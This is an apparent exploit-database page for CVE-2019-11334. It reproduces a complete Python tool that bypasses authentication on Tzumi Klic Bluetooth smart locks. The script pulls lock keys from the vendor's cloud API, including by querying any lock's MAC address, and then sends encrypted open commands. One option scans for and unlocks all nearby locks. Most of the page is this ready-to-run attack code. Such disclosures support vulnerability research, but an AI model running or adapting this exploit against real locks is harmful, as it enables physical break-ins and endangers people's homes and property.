Lucene search
K

Tzumi Electronics Klic Lock Authentication Bypass

🗓️ 14 Jun 2019 00:00:00Reported by Kerry EnfingerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 255 Views

Tzumi Electronics Klic Lock Authentication Bypass CVE-2019-11334, Python program for unlocking Tzumi Klic smart locks Model 5686 Firmware 6.2, and other smart locks. Requires valid account email and password from Klic mobile application

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2019-11334
11 Jun 201917:43
cve
Cvelist
CVE-2019-11334
11 Jun 201917:43
cvelist
EUVD
EUVD-2019-3015
7 Oct 202500:30
euvd
NVD
CVE-2019-11334
11 Jun 201918:29
nvd
Pen Test Partners Blog
Pwning the Nokelock API
24 May 201911:58
pentestpartners
Prion
Authentication flaw
11 Jun 201918:29
prion
Positive Technologies
PT-2019-12246 · Tzumi Electronics · Klic Lock +1
11 Jun 201900:00
ptsecurity
RedhatCVE
CVE-2019-11334
22 May 202510:12
redhatcve
`# CVE-2019-11334  
# MIT License  
# Copyright (c) 2019 Kerry Enfinger  
# Python program to unlock any Tzumi Klic smart locks Model 5686 Firmware 6.2   
# May work on other smart locks  
# Requires valid account email and password from Klic mobile application  
  
import argparse  
import requests  
import json  
from subprocess import call  
from bluepy.btle import Scanner  
from bluepy.btle import Peripheral  
from bluepy.btle import DefaultDelegate  
from bluepy.btle import UUID  
from Crypto.Cipher import AES  
  
NOTIFICATION = ""  
  
class KlicDelegate(DefaultDelegate):  
  
def __init__(self, key):  
DefaultDelegate.__init__(self)  
self.aes_key = key  
  
def decrypt(self, payload):  
aes = AES.new(self.aes_key, AES.MODE_ECB)  
decrypted = aes.decrypt(payload)  
return decrypted.encode('hex')  
  
def handleNotification(self, handle, data):  
global NOTIFICATION  
NOTIFICATION = self.decrypt(data)  
  
class Klic:  
  
def __init__(self):  
self.lockKey=""  
self.mac = ""  
self.lockPwd = "000000"  
self.aes_key = ""  
self.token = ""  
self.userId = ""  
self.url = "http://app.nokelock.com:8080/"  
self.ext_get_token = "/newNokelock/user/loginByPassword"  
self.ext_get_lock_list = "/newNokelock/lock/getLockList"  
self.ext_query_device = "/newNokelock/lock/queryDevice"  
self.headers = {'token': 'None', 'clientType': 'Android', 'language': 'en-US', 'phoneModel': 'Nexus 5', 'osVersion': '7.1.2', 'appVersion': '1.0.9', 'Content-Type': 'application/json;charset=UTF-8', 'User-Agent': 'okhttp/3.11.0'}  
  
  
def set_aes_key(self, lockKey):  
hexkey = [lockKey[i:i+2] for i in range(0, len(lockKey), 2)]  
hexkey = [int(i) for i in hexkey]  
hexkey = ["{:02x}".format(x) for x in hexkey]  
hexkey = ''.join(hexkey)  
self.aes_key = str(bytearray.fromhex(hexkey))  
  
def parse_lock_key(self, lock_key):  
temp_key = lock_key.encode("utf-8")  
temp_key = [x.strip() for x in temp_key.split(',')]  
new_key = ""  
for i in temp_key:  
new_key = new_key + i.zfill(2)  
return new_key  
  
def get_token(self, account_str, password_str):  
data = {'account': account_str, 'code': password_str, 'type': '0'}  
response = requests.post(self.url + self.ext_get_token, data=json.dumps(data), headers=self.headers)  
json_resp = response.json()  
result = json_resp['result']  
return result['token'], result['userId']  
  
def get_lock_keys(self, account_str, password_str):  
self.token, self.userId = self.get_token(account_str, password_str)  
data = {'userId': self.userId}  
self.headers['token'] = self.token  
response = requests.post(self.url + self.ext_get_lock_list, data=json.dumps(data), headers=self.headers)  
json_resp = response.json()  
result = json_resp['result']  
lock_key = result[0]['lockKey']  
self.lockKey = self.parse_lock_key(lock_key)  
self.lockPwd = result[0]['lockPwd']  
self.mac = result[0]['mac']  
  
def get_lock_keys_by_mac(self, account_str, password_str, mac_addr):  
self.token, self.userId = self.get_token(account_str, password_str)  
data = {'mac': mac_addr}  
self.headers['token'] = self.token  
response = requests.post(self.url + self.ext_query_device, data=json.dumps(data), headers=self.headers)  
json_resp = response.json()  
result = json_resp['result']  
lock_key = result['lockKey']  
self.lockKey = self.parse_lock_key(lock_key)  
self.lockPwd = result['lockPwd']  
self.mac = result['mac']  
print(self.lockKey)  
print(self.lockPwd)  
print(self.mac)  
  
def scan(self, timeout=5):  
scanner = Scanner()  
sec = timeout  
dev_list = []  
print("Scanning for %s seconds" % sec)  
devs = scanner.scan(sec)  
for dev in devs:  
localname = dev.getValueText(9)  
if localname and localname.startswith("BS01"):  
print("Device found:")  
dev_list.append(dev.addr)  
print(" %s (%s), rssi=%d" % (dev.addr, localname, dev.rssi))   
return dev_list  
  
def encrypt(self, payload):  
while len(payload) < 16:  
payload += "\x00"  
aes = AES.new(self.aes_key, AES.MODE_ECB)  
return aes.encrypt(payload)  
  
def unlock_with_key(self, lock_key, mac_addr):  
self.lockKey = lock_key  
self.mac = mac_addr  
self.unlockKlic()  
  
def unlock_with_account(self, account, password):  
self.get_lock_keys(account, password)  
self.unlockKlic()  
  
def unlock_with_mac(self, account, password, mac):  
self.get_lock_keys_by_mac(account, password, mac)  
self.unlockKlic()  
  
def unlockKlic(self):   
print("lockKey: " + self.lockKey)  
print("lockPwd: " + self.lockPwd)  
print("mac: " + self.mac)  
print("")  
  
# Convert lockKey to hex  
self.set_aes_key(self.lockKey)  
  
# Connect to klic lock  
klic = Peripheral(self.mac, "public")  
klic.setDelegate(KlicDelegate(self.aes_key))  
  
# Setup to turn notifications on  
setup_data = b"\x01\x00"  
notify = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]  
notify_handle = notify.getHandle() + 1  
klic.writeCharacteristic(notify_handle, setup_data, withResponse=True)  
  
# Send get token packet  
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]  
payload = self.encrypt("\x06\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")  
c.write(payload)  
print("Sent get token packet!")  
# Waiting for notification  
while True:  
if klic.waitForNotifications(1.0):  
# handleNotification() was called  
print("Got Notification: " + NOTIFICATION)  
hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)]  
if hexkey[0] == '06' and hexkey[1] == '02':  
break  
continue  
print("")  
  
# Send get battery packet  
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]  
payload = self.encrypt("\x02\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")  
c.write(payload)  
print("Sent get battery packet!")  
# Waiting for notification  
while True:  
if klic.waitForNotifications(1.0):  
# handleNotification() was called  
print("Got Notification: " + NOTIFICATION)  
hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)]  
if hexkey[0] == '02' and hexkey[1] == '02':  
break  
continue  
print("")  
  
# Send open lock packet  
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]  
payload = self.encrypt("\x05\x01\x06\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00")  
c.write(payload)  
print("Sent open lock packet!")  
while True:  
if klic.waitForNotifications(1.0):  
# handleNotification() was called  
print("Got Notification: " + NOTIFICATION + "\n")  
break  
print("Lock should be unlocked!\n\n")  
  
if __name__ == "__main__":  
print('[*] KlicUnlock v1.0.0')  
print('[*] Author: Kerry Enfinger\n')  
print('[*] CVE-2019-11334\n')  
  
parser = argparse.ArgumentParser(description='Klic Lock unlocking program.')  
parser.add_argument('-a', '--account', help='email address used when signing into app', type=str)  
parser.add_argument('-p', '--password', help='password used when signing into app', type=str)  
parser.add_argument('-k', '--key', help='key for lock (if known)', type=str)  
parser.add_argument('-m', '--mac', help='mac address for lock (if known)', type=str)  
parser.add_argument('-s', '--scan', help='scan for all nearby Klic locks', action='store_true')  
parser.add_argument('-u', '--unlock_all', help='scan for and unlock all nearby Klic locks', action='store_true')  
args = parser.parse_args()  
  
# Bring up bluetooth adapter and service - hci# may need to be changed for your individual needs  
call(["hciconfig", "hci0", "up"])  
call(["service", "bluetooth", "start"])  
  
if args.account and args.password and args.unlock_all is False:  
k = Klic()  
k.unlock_with_account(args.account, args.password)  
elif args.account and args.password and args.unlock_all is True:  
k = Klic()  
lock_list = k.scan()  
for lock in lock_list:  
print(args.account)  
print(args.password)  
print(lock.upper())  
k.unlock_with_mac(args.account, args.password, lock.upper())  
elif args.key and args.mac:  
k = Klic()  
k.unlock_with_key(args.key, args.mac)   
elif args.scan:  
k = Klic()  
k.scan()  
else:  
print('You need to input account/password or key/mac combination')  
print('[*] Examples:')  
print('[*] python KlicUnlock.py -a [email protected] -p mypassword')  
print('[*] python KlicUnlock.py -a [email protected] -p mypassword -u')  
print('[*] python KlicUnlock.py -k 99999999999999999999999999999999 -m 01:02:03:04:05:06')  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation